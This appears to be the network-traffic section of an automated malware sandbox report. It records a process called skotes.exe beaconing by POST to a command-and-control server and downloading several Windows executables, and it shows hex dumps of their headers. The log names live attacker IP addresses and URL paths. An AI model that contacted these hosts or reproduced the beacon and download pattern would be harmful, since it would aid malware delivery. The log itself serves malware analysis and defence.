4	192.168.2.5	49988	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:18.641005039 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002753001&unit=246122658369
Oct 31, 2024 02:09:19.551980019 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49990	31.41.244.11	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:19.562006950 CET	61	OUT	GET /files/Loader_seyhhd.exe HTTP/1.1 Host: 31.41.244.11
Oct 31, 2024 02:09:20.461205006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:20 GMT Content-Type: application/octet-stream Content-Length: 3653120 Last-Modified: Thu, 31 Oct 2024 00:50:37 GMT Connection: keep-alive ETag: "6722d45d-37be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 09 00 04 ac 22 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 00 00 00 56 00 00 00 00 00 00 84 66 26 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 58 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9a 50 00 54 01 00 00 00 d0 58 00 e0 01 00 00 90 73 58 00 80 31 00 00 00 00 00 00 00 00 00 00 00 b0 58 00 54 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd"g"(Vf&@X`(PTXsX1XTPrX@!(.text `.rdata:=@@.data@.pdata@@._/b `.DIl!@.abx7!7`h.relocTX7@@.rsrcX7@@
Oct 31, 2024 02:09:20.461219072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 8e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 db 2a 00 00 00 00 00 00 Data Ascii: ,+@*M+J<l&P0$:PMN/N.'
Oct 31, 2024 02:09:20.461236000 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:20.461247921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:20.461257935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .&cey6
Oct 31, 2024 02:09:20.461268902 CET	424	IN	Data Raw: f1 ca aa 47 eb 96 81 34 72 08 80 5f 1e c0 6e dc 09 90 c0 a5 0d 0e bc 88 4b f4 c4 ff 95 1d 57 55 0a 2b 37 65 9c 13 86 8f 9f 76 b2 2c 6b 18 18 5e 1b aa 6f bb 5a 71 53 f5 60 7b 6e 76 09 81 8c d5 83 0a 86 3f f9 f1 3c 14 8b a3 5e 66 e1 88 94 4d db 93 Data Ascii: G4r_nKWU+7ev,k^oZqS`{nv?<^fM>iT#SZoIori.L;\Pq=Zx-W[I_o2Rk[SAYg(4Y1igZIj+9rW
Oct 31, 2024 02:09:20.461282969 CET	1236	IN	Data Raw: 86 7e 79 54 fa a5 02 62 90 2c 51 bc 6a fb a5 02 62 50 1e f8 f3 8d 96 f0 fb f5 fe 50 5b c5 ce e0 eb d5 de 20 2b a5 9e a8 b3 b5 be d0 db 65 9e c8 b3 25 2e c0 fb 8d 96 30 fe 2e 00 00 e4 2f 58 00 08 00 b5 d2 55 00 08 00 bf d2 55 00 08 00 c4 d2 55 00 Data Ascii: ~yTb,QjbPP[ +e%.0./XUUUUsVW7UTTTTTTT;VTBWJWQW!V'V(VQVXXXXXXAXT
Oct 31, 2024 02:09:20.461294889 CET	1236	IN	Data Raw: e7 1c 57 00 10 00 34 8e 54 00 08 00 3c 8e 54 00 08 00 4c 8e 54 00 08 00 53 8e 54 00 08 00 e9 57 56 00 08 00 ec 57 56 00 08 00 f0 57 56 00 08 00 f7 57 56 00 08 00 36 1d 55 00 08 00 73 40 56 00 08 00 7a 40 56 00 08 00 9b 0f 58 00 10 00 5c 3a 55 00 Data Ascii: W4T<TLTSTWVWVWVWV6Us@Vz@VX\:U{V"{VVW]WkWr?VRMWYMWSfVT X X X X5U6U6U6UVCTCTCTCTS~WW
Oct 31, 2024 02:09:20.461308002 CET	1236	IN	Data Raw: 36 fa 56 00 08 00 3d fa 56 00 08 00 40 fa 56 00 08 00 12 d7 56 00 10 00 1a d7 56 00 18 00 3a aa 56 00 20 00 4d aa 56 00 20 00 5e aa 56 00 20 00 6c aa 56 00 18 00 74 aa 56 00 18 00 7b aa 56 00 18 00 b0 1b 57 00 10 00 c4 1b 57 00 10 00 d8 1b 57 00 Data Ascii: 6V=V@VVV:V MV ^V lVtV{VWWWT(3V@4VHHVXW`WpU7eU>eUAeUudUxdUXXqU@USUqWKVKVWWWUU\W
Oct 31, 2024 02:09:20.461324930 CET	636	IN	Data Raw: 4d 42 56 00 08 00 8b 10 57 00 08 00 90 10 57 00 08 00 ec ee 54 00 08 00 f1 ee 54 00 08 00 fd ee 54 00 10 00 2b fe 54 00 08 00 33 fe 54 00 08 00 36 fe 54 00 08 00 4a fe 54 00 10 00 ba 06 56 00 08 00 d9 e7 55 00 08 00 e1 e7 55 00 08 00 d1 0a 54 00 Data Ascii: MBVWWTTT+T3T6TJTVUUTTJVJVJVJVU U cWSS#W;W>W}UV(2VUl0Ws0W{0W 0W 0W WWUUU
Oct 31, 2024 02:09:20.466195107 CET	1236	IN	Data Raw: 84 17 57 00 08 00 8a 17 57 00 08 00 cb 18 56 00 18 00 5e 28 57 00 20 00 62 28 57 00 20 00 69 28 57 00 20 00 94 1b 54 00 08 00 97 1b 54 00 08 00 9b 1b 54 00 08 00 a8 1b 54 00 08 00 e0 4e 57 00 08 00 41 02 55 00 10 00 4b 02 55 00 10 00 6e 55 57 00 Data Ascii: WWV^(W b(W i(W TTTTNWAUKUnUWuUW^WiWqWWQTQTQToTUU=W>W@>XG>XI>XK>XWWWWWWWcToTgU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49994	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:29.544152021 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002754001&unit=246122658369
Oct 31, 2024 02:09:30.460144997 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49995	185.215.113.16	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:30.469335079 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 02:09:31.375375032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:31 GMT Content-Type: application/octet-stream Content-Length: 3000320 Last-Modified: Thu, 31 Oct 2024 01:00:00 GMT Connection: keep-alive ETag: "6722d690-2dc800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 47 06 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@1G.@Th@ ~@.rsrc@@.idata @uqtmlxsm++@mzkwthef0-@.taggant00"-@
Oct 31, 2024 02:09:31.375389099 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:31.375602961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:31.375614882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:31.375627041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:31.375639915 CET	636	IN	Data Raw: dd 2e e9 10 eb 15 95 cf 53 9e 9d c2 f1 9a 7b 15 f3 7c e9 a6 a8 0d b3 cd 58 0d 6b 25 ab 08 05 a2 5b 0c 39 fa 44 26 8d 7f c7 d1 45 32 55 14 60 9e d5 0a 57 52 df 84 2a 15 cb 6d b8 d7 47 04 9d 66 4c 31 2d e3 1b d5 74 91 44 8d f5 ca 96 4d 82 2d db e6 Data Ascii: .S{\|Xk%[9D&E2U`WRmGfL1-tDM-~}AAdz,Dh<R+mB8o0EZ3!V,.nqs=Z/c&GmKD4&{M,9FB7&^VJ
Oct 31, 2024 02:09:31.375653028 CET	1236	IN	Data Raw: 0a 8e ef 1d 82 13 3a d9 06 60 5c ce 17 32 d8 5c 26 7a 2a 15 dc 65 0c 36 e6 18 d6 5d d5 36 e6 ca 6c 34 12 6b 56 3a 16 a4 14 72 7e c6 dd dd 74 a2 1b c7 13 e6 b4 32 cd 8b 0f 0c 0e 82 dd c5 82 c7 cb eb c1 aa 25 be 95 31 72 86 69 99 56 d2 d9 df bb 3f Data Ascii: :`\2\&z*e6]6l4kV:r~t2%1riV?q5w_kH&Vv-;\|m6O$sRj2-a}e1STB77>BURu.s<g/=Vt-RX$(dj`SZV[gVR]F\|Rwm`K
Oct 31, 2024 02:09:31.375667095 CET	212	IN	Data Raw: cf c3 6e 25 7a a6 b0 a6 81 2d 8d 09 89 58 73 15 d9 10 f9 e3 c8 61 76 e7 0d 28 19 7f 9b 4e f5 a5 3c 6f 71 d2 0e 9e ca 20 03 2d b3 81 08 78 91 19 2e be af 8d ae 20 56 0a b7 45 74 cc cf 3a 0b 99 2e 07 b5 dc ce a8 08 5d 80 ce 7c b8 9e 54 18 86 ab 94 Data Ascii: n%z-Xsav(N<oq -x. VEt:.]\|Tow>P8)C?YTk)S#B1:jI[R2AUD$Qq2{6T"-j&wVHd,
Oct 31, 2024 02:09:31.376518011 CET	1236	IN	Data Raw: a4 09 c0 27 05 09 73 35 b9 4d 86 e7 d8 a4 93 0c 5b e9 12 84 69 8d ea 34 d7 04 80 a8 53 8c 83 6d 93 ba c1 f6 f7 ff 37 2e 47 4c 16 1c de d8 1f e7 fd fe b0 bb 92 17 0d a8 ed 24 2b 8c 0c 58 33 a1 5b 47 0e 14 9c 15 15 e9 a8 7e 51 18 c3 b2 f5 fc 9d cc Data Ascii: 's5M[i4Sm7.GL$+X3[G~Q<^+h"7 jaW_NsXoz6b#l,i6a-Z?9}buGBG/vRtMGs@gL}tw;R"{"TFY!
Oct 31, 2024 02:09:31.376528978 CET	212	IN	Data Raw: 05 84 29 f4 fc 62 e9 5c 2f 39 01 38 9e de 9b a8 69 02 e3 e8 62 05 75 a3 7b 17 3a 24 23 9d f2 ce 68 2c d6 78 d5 19 13 45 1d 5a f6 75 c8 5f 66 c0 d7 c4 88 57 e0 00 ba b2 4a 4d e5 3f 25 76 7c 5f 93 f5 67 a6 a5 30 f0 ee c6 31 22 b8 ca 95 ab b6 a9 35 Data Ascii: )b\/98ibu{:$#h,xEZu_fWJM?%v\|_g01"5V3]?4LISxJ+$;?%UHsxbjN>U3-0/;]U5=W">*}U7QPog;_6`aAh
Oct 31, 2024 02:09:31.380352974 CET	1236	IN	Data Raw: c5 ff 50 1e da fc b9 ce 73 92 7f a9 2a 48 58 bf f8 3d 03 d4 f8 45 9a d1 47 c6 9b eb 69 21 b0 bf de 14 6a 34 d9 a9 2b 8c b0 fe f6 4a 2a 99 a8 b6 de 51 78 ee 5d 45 a4 d4 d4 64 7b fc c7 76 ef aa d9 99 76 99 c5 8d 66 21 d6 ce 79 cd 3e 36 7a dc d6 92 Data Ascii: PsHX=EGi!j4+JQx]Ed{vvf!y>6z8TuK2rTn[D<Vah\?tsW.aO],)Uk*ot$J6\%2h$CUR=Rd?iGat#]ollUX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49997	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:37.408113003 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002755001&unit=246122658369
Oct 31, 2024 02:09:38.326872110 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49998	185.215.113.16	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:38.336112022 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 02:09:39.239869118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:39 GMT Content-Type: application/octet-stream Content-Length: 2133504 Last-Modified: Thu, 31 Oct 2024 01:00:14 GMT Connection: keep-alive ETag: "6722d69e-208e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 e0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 73 00 00 04 00 00 46 44 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@sFD!@P.d. p.v@.rsrc .@.idata .@ P*.@dehzcbgtX@tgbizlmwrh @.taggant0r"l @
Oct 31, 2024 02:09:39.239898920 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:39.239911079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:39.239923000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:39.239995003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:09:39.240010023 CET	1236	IN	Data Raw: e4 d3 01 49 58 6c 65 80 d2 13 47 30 0b e9 68 e7 35 37 46 ae cf 59 24 c7 5f 7a c9 dc 93 87 53 1f cb b9 0b d4 51 06 e6 95 84 6c 80 f7 e8 22 e2 ce 4a 46 6f 6e 08 61 6a ae 89 7e cb a9 c7 67 53 b6 e8 a4 27 02 d5 0e a8 65 ad f3 83 2e 10 a3 30 5e e8 e6 Data Ascii: IXleG0h57FY$_zSQl"JFonaj~gS'e.0^'R9D""XG?)kLL#CC"oN):dcRG^EE!%)-15ksK9z~ado)KR-Z;i_
Oct 31, 2024 02:09:39.240077972 CET	1236	IN	Data Raw: 4a 74 b9 ad d6 ce 32 d5 25 4f 5a 1c af 76 d9 27 b4 f2 a8 6c e6 62 a0 d4 1e aa 2c c6 f5 34 c1 06 7e 22 9e a0 1f 99 93 49 ac 6b 50 3f 4e 6a 8f d3 0a 5b 84 fc 1e a4 ac 7c ea 7f 87 c3 da 1e 96 bd e5 b0 e8 cd f7 1e 5e 4d 18 11 9a 48 6d 1c 53 40 c1 e3 Data Ascii: Jt2%OZv'lb,4~"IkP?Nj[\|^MHmS@ei1?KRJnrI;r*PLu?bDYq$iI_VTGAj0FoV^Mvc_0nnQT8hi"Vu\|4lINeU~C>
Oct 31, 2024 02:09:39.240091085 CET	560	IN	Data Raw: 09 80 61 de 0d 92 5a 51 4c 45 a8 c7 e5 a6 5a fe 11 81 bd 4c 36 f1 4b 8f 1e 77 51 28 46 c1 26 69 56 82 b9 5d d7 e2 49 06 4c a8 75 ee 20 ee c5 d5 59 80 72 f5 95 a0 73 d4 7f ff 50 d5 ad fd 64 47 4e cb da 25 9e a0 5a ac ce 5d 5e 48 ea aa ac e0 2b 66 Data Ascii: aZQLEZL6KwQ(F&iV]ILu YrsPdGN%Z]^H+fdYraRnjZB-Z,BEw@)it&FFdvewxJL%*qi=af-9/vrPwbo1ZS]'ff"
Oct 31, 2024 02:09:39.240102053 CET	1236	IN	Data Raw: 3f 77 db d9 9a cd 79 fa 85 86 89 d5 ce df 0b 5d f0 a2 19 df a5 71 1d 2f b2 2a df 0d b6 77 3a e6 cf ad 79 c0 2d 0f 11 45 de 87 d5 f8 d6 81 77 53 3e c0 74 14 42 77 b1 de da 97 b5 fe 21 79 83 4c c2 77 e5 de c1 97 15 c6 dd 01 02 5e d7 2e 4a a7 04 75 Data Ascii: ?wy]q/w:y-EwS>tBw!yLw^.JuRX)P3w0+>YR[Z+Pwb r.RS"Rtr@n!EMNRlwaRnR:nZ\|^AZcY);9\OjI
Oct 31, 2024 02:09:39.240114927 CET	1236	IN	Data Raw: b2 28 0a d6 cd 36 ca 4d a2 86 e4 1b e6 46 5b fe b9 81 b9 4e 66 11 9d cd cd 98 7b dc 81 bd e7 d5 16 96 c5 84 f8 a6 5a cd 03 3a 53 2b e6 76 22 3e d7 ba 49 e9 4b 50 b0 75 55 f2 b9 d5 de ee 52 d0 88 3a f3 bd 65 a0 5a 70 ce 59 4e 48 08 06 74 98 7e e2 Data Ascii: (6MF[Nf{Z:S+v">IKPuUR:eZpYNHt~Z@z,K IC#Tb\|Sl'4noi_!FagbZ0z(<Bw]yeT:nZtxzi\|+".dLw:''WkqEtZTY3VZ(v9aQLA"
Oct 31, 2024 02:09:39.245029926 CET	1236	IN	Data Raw: 5f 40 8a 2a e2 6e c4 79 09 98 74 d0 81 e6 cf fe 6d 8c 59 3a de 77 83 00 e1 cd d4 20 4a fc a1 5d d7 d2 49 12 4c ac 3d 49 d5 e6 e2 d5 55 66 7e 4a 1d da 73 6e 66 e2 5a 6c e0 82 7a b4 26 f0 0b 75 d7 9d 03 39 4c ab a1 c9 47 2e 5b cc 99 e2 33 be 1f b2 Data Ascii: _@nytmY:w J]IL=IUf~JsnfZlz&u9LG.[3ZF[B6b~eRIzZcLm>IJL3o(y%[VXZ/vQZ5oRZ<w rp*VwA=fBwRfEkZRQQ'm/v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50005	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:46.872392893 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002756001&unit=246122658369
Oct 31, 2024 02:09:47.767878056 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50006	185.215.113.16	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:48.112531900 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 02:09:49.011113882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:48 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 00:28:14 GMT Connection: keep-alive ETag: "6722cf1e-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 cf 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] 